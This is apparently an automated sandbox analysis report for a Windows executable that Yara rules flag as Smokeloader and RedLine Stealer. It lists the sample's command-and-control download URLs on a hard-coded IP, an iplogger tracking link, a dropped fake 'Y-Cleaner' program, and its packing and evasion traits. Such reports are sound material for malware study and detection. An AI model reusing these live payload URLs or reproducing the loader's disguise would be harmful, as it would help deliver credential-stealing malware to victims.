Source: 8V0INSl0E2.exe, 00000000.00000003.2097397285.0000000005647000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2071804222.0000000005647000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2278027819.000000000563D000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2042997729.0000000005647000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2207016969.0000000005647000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2278057212.0000000005641000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2256109950.0000000005647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/dll/download
Source: 8V0INSl0E2.exe, 00000000.00000002.2597322172.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/dll/downloadUU?k
Source: 8V0INSl0E2.exe, 00000000.00000002.2597322172.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/dll/downloadcTAj-
Source: 8V0INSl0E2.exe, 00000000.00000002.2599789113.00000000055A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/dll/key
Source: 8V0INSl0E2.exe, 00000000.00000003.1962851502.0000000005694000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/download
Source: 8V0INSl0E2.exe, 00000000.00000003.2042997729.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2207016969.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2071804222.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2155531924.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2097397285.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2123109115.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2181277836.00000000055A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/download23/add?substr=mixtwo&s=three&sub=emp
Source: 8V0INSl0E2.exe, 00000000.00000003.2235769427.00000000055A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/download23/files/downloadLMEM
Source: 8V0INSl0E2.exe, 00000000.00000003.1988617920.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2207016969.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2071804222.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2155531924.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.1962911380.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2014226817.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2097397285.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2123109115.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2235769427.00000000055A5000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2181277836.00000000055A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/download23/files/downloadwo&s=three&sub=emp
Source: 8V0INSl0E2.exe, 00000000.00000003.2207000227.0000000005695000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/download8
Source: 8V0INSl0E2.exe, 00000000.00000003.2042934125.0000000005694000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2042981291.0000000005695000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/downloadF
Source: 8V0INSl0E2.exe, 00000000.00000003.2014209317.0000000005695000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2014161842.0000000005694000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/downloadL
Source: 8V0INSl0E2.exe, 00000000.00000003.2207016969.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2155531924.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2123109115.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2181277836.00000000055A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/downloadLMEM
Source: 8V0INSl0E2.exe, 00000000.00000003.2181246404.0000000005695000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.1988602176.0000000005695000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.1962895394.0000000005695000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.1988563995.0000000005694000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.1962851502.0000000005694000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/downloadR
Source: 8V0INSl0E2.exe, 00000000.00000003.1988602176.0000000005695000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.1988563995.0000000005694000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2071744460.0000000005694000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2071787898.0000000005695000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/downloadd
Source: 8V0INSl0E2.exe, 00000000.00000003.2207016969.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2235769427.00000000055A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/downloadft
Source: 8V0INSl0E2.exe, 00000000.00000003.2207000227.0000000005695000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/downloadv
Source: 8V0INSl0E2.exe, 00000000.00000002.2597322172.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/downloadwT
Source: 8V0INSl0E2.exe, 00000000.00000003.2181277836.00000000055A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/downloadwo&s=three&sub=emp
Source: 8V0INSl0E2.exe, 00000000.00000002.2599789113.00000000055A0000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000002.2597322172.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/soft/download
Source: 8V0INSl0E2.exe, 00000000.00000003.2278027819.000000000563D000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2278057212.0000000005641000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/soft/downloaduQ
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: 8V0INSl0E2.exe, 00000000.00000003.2310921972.0000000005672000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2292070169.00000000057DE000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174
Source: 8V0INSl0E2.exe, 00000000.00000003.2310921972.0000000005672000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2292070169.00000000057DE000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: https://g-cleanit.hk
Source: 8V0INSl0E2.exe, 00000000.00000003.2310921972.0000000005672000.00000004.00000020.00020000.00000000.sdmp, 8V0INSl0E2.exe, 00000000.00000003.2292070169.00000000057DE000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: https://iplogger.org/1Pz8p7

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.2597293935.0000000000E19000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

PE file contains section with special chars

Source: 8V0INSl0E2.exe	Static PE information: section name:
Source: 8V0INSl0E2.exe	Static PE information: section name: .idata
Source: 8V0INSl0E2.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_3_04D09D60		0_3_04D09D60
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_3_04D0C7DD		0_3_04D0C7DD
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_3_04D197F2		0_3_04D197F2
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_3_04D137F9		0_3_04D137F9
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_3_04D0E720		0_3_04D0E720
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_3_04D130E6		0_3_04D130E6
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_3_04D02070		0_3_04D02070
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_3_04D19912		0_3_04D19912
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_3_04D0CA0F		0_3_04D0CA0F
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00402C70		0_2_00402C70
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_0040A960		0_2_0040A960
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_0040F320		0_2_0040F320
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_0040D3DD		0_2_0040D3DD
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_0041A3F2		0_2_0041A3F2
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_004143F9		0_2_004143F9
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00413CE6		0_2_00413CE6
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_0041A512		0_2_0041A512
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_0040D60F		0_2_0040D60F
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_1000E184		0_2_1000E184
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_100102A0		0_2_100102A0
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00A1B175		0_2_00A1B175
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_0099928B		0_2_0099928B
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_0099468C		0_2_0099468C
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_0098D4B2		0_2_0098D4B2
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_009850C0		0_2_009850C0
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00820A02		0_2_00820A02
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_008DC838		0_2_008DC838
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00990A44		0_2_00990A44
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_0087C06A		0_2_0087C06A
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00853072		0_2_00853072
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00857A7E		0_2_00857A7E
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00981A66		0_2_00981A66
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00988390		0_2_00988390
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_008B6F9E		0_2_008B6F9E
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_0098F5A3		0_2_0098F5A3
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_0099ADDE		0_2_0099ADDE
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_009869D7		0_2_009869D7
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_008CA5D9		0_2_008CA5D9
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_009925FF		0_2_009925FF
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_0097BB17		0_2_0097BB17
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00989F17		0_2_00989F17
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00983539		0_2_00983539
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00997734		0_2_00997734
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_04B5F587		0_2_04B5F587
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_04B6A659		0_2_04B6A659
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_04B5D644		0_2_04B5D644
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_04B6A779		0_2_04B6A779
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_04B63F4D		0_2_04B63F4D
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_04B5D876		0_2_04B5D876
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_04B5ABC7		0_2_04B5ABC7
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_04B53B27		0_2_04B53B27

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1] F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF

Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: String function: 04D08FA0 appears 34 times
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: String function: 04B59E07 appears 34 times
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: String function: 10003160 appears 32 times
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: String function: 00409BA0 appears 35 times

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4192 -s 468

Source: 8V0INSl0E2.exe, 00000000.00000003.2312690639.0000000005789000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBunifu_UI_v1.5.3.dll4 vs 8V0INSl0E2.exe
Source: 8V0INSl0E2.exe, 00000000.00000003.2313027670.00000000057A2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBunifu_UI_v1.5.3.dll4 vs 8V0INSl0E2.exe
Source: 8V0INSl0E2.exe, 00000000.00000003.2312245254.0000000006280000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameY-Cleaner.exe4 vs 8V0INSl0E2.exe

Source: 8V0INSl0E2.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.2597293935.0000000000E19000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: Y-Cleaner.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: soft[1].0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 8V0INSl0E2.exe

Static PE information: Section: foclbzzo ZLIB complexity 0.98999609375

Source: classification engine

Classification label: mal100.evad.winEXE@2/15@0/1

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

Code function: 0_2_00402950 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

Code function: 0_2_00E1A3EE CreateToolhelp32Snapshot,Module32First,

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

Code function: 0_2_00401880 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\add[1].htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4192

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

File created: C:\Users\user\AppData\Local\Temp\4e3E3fF4Re2d

Jump to behavior

Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Command line argument: emp		0_2_00408020
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Command line argument: mixtwo		0_2_00408020

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 8V0INSl0E2.exe	Virustotal: Detection: 45%
Source: 8V0INSl0E2.exe	ReversingLabs: Detection: 28%

Source: 8V0INSl0E2.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\8V0INSl0E2.exe "C:\Users\user\Desktop\8V0INSl0E2.exe"
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4192 -s 468

Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: apphelp.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: winmm.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: msimg32.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: msvcr100.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: ondemandconnroutehelper.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: mswsock.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: winnsi.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: urlmon.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: srvcli.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: cryptsp.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: rsaenh.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: cryptbase.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: propsys.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: linkinfo.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: ntshrui.dll			Jump to behavior
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Section loaded: cscapi.dll			Jump to behavior

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Cleaner.lnk.0.dr

LNK file: ..\AppData\Local\Temp\4e3E3fF4Re2d\Y-Cleaner.exe

Source: 8V0INSl0E2.exe

Static file information: File size 1987072 > 1048576

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: 8V0INSl0E2.exe

Static PE information: Raw size of foclbzzo is bigger than: 0x100000 < 0x1b5800

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\8V0INSl0E2.exe

Unpacked PE file: 0.2.8V0INSl0E2.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;foclbzzo:EW;bhxrjegc:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Source: Y-Cleaner.exe.0.dr

Static PE information: 0xA0CED55F [Tue Jun 29 19:19:59 2055 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: dll[1].0.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: 8V0INSl0E2.exe	Static PE information: real checksum: 0x1f33c8 should be: 0x1f0f40
Source: Bunifu_UI_v1.5.3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: soft[1].0.dr	Static PE information: real checksum: 0x0 should be: 0x170243
Source: Y-Cleaner.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x170243

Source: 8V0INSl0E2.exe	Static PE information: section name:
Source: 8V0INSl0E2.exe	Static PE information: section name: .idata
Source: 8V0INSl0E2.exe	Static PE information: section name:
Source: 8V0INSl0E2.exe	Static PE information: section name: foclbzzo
Source: 8V0INSl0E2.exe	Static PE information: section name: bhxrjegc
Source: 8V0INSl0E2.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_3_04D1E2B5 push esi; ret		0_3_04D1E2BE
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_0041FAB5 push esi; ret		0_2_0041FABE
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_1000E891 push ecx; ret		0_2_1000E8A4
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_009AC8A7 push 1EC11981h; mov dword ptr [esp], eax		0_2_009AC8D6
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_009AC90D push ecx; mov dword ptr [esp], ebp		0_2_009ADEC8
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_009AC90D push 14980300h; mov dword ptr [esp], esp		0_2_009AE8E3
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_009C1895 push 2EE19653h; mov dword ptr [esp], esi		0_2_009C18BF
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_009F54DB push 0005D555h; mov dword ptr [esp], eax		0_2_009F54E9
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00A0C4E6 push edx; mov dword ptr [esp], 7BE76820h		0_2_00A0C50B
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00A0C4E6 push 76151AAEh; mov dword ptr [esp], ebx		0_2_00A0C585
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_009D10D6 push esi; mov dword ptr [esp], 1DB37311h		0_2_009D10EA
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_009D10D6 push eax; mov dword ptr [esp], 1875028Eh		0_2_009D1107
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00A0BCCD push 41EC49F8h; mov dword ptr [esp], ebp		0_2_00A0BD21
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00A1A837 push ecx; mov dword ptr [esp], edi		0_2_00A1A863
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_009F1000 push eax; ret		0_2_009F100F
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00A19815 push edi; mov dword ptr [esp], 6FAFAF40h		0_2_00A19846
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00A60062 push 026BFF20h; mov dword ptr [esp], edi		0_2_00A600B4
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_009C144F push 21C54144h; mov dword ptr [esp], eax		0_2_009C14D1
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00A66845 push 0C5D83AFh; mov dword ptr [esp], eax		0_2_00A66888
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00A66845 push eax; mov dword ptr [esp], ecx		0_2_00A668FE
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00A2C9A0 push 41FC4F99h; mov dword ptr [esp], ecx		0_2_00A2CA21
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00A2C9A0 push 23F81ACFh; mov dword ptr [esp], ebx		0_2_00A2CA7A
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00A4C9B0 push 6144BC7Bh; mov dword ptr [esp], ecx		0_2_00A4C9D9
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_009ACDBD push edx; mov dword ptr [esp], edi		0_2_009AFF42
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_009C19B0 push edx; mov dword ptr [esp], ebp		0_2_009C1A09
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_009C15AE push eax; mov dword ptr [esp], edx		0_2_009C15D0
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00A431EC push edi; mov dword ptr [esp], ebx		0_2_00A4320A
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00A431EC push 374A58CFh; mov dword ptr [esp], edi		0_2_00A4323F
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00A431EC push 2F1EB3ADh; mov dword ptr [esp], ecx		0_2_00A43263
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_00A029FB push 56F74CEFh; mov dword ptr [esp], esi		0_2_00A02A03
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	Code function: 0_2_009A8DF5 push edx; mov dword ptr [esp], 7BFE1BD1h		0_2_009A8E62

Source: 8V0INSl0E2.exe	Static PE information: section name: foclbzzo entropy: 7.947510990972953
Source: Y-Cleaner.exe.0.dr	Static PE information: section name: .text entropy: 7.918511524700298
Source: soft[1].0.dr	Static PE information: section name: .text entropy: 7.918511524700298

Source: C:\Users\user\Desktop\8V0INSl0E2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file
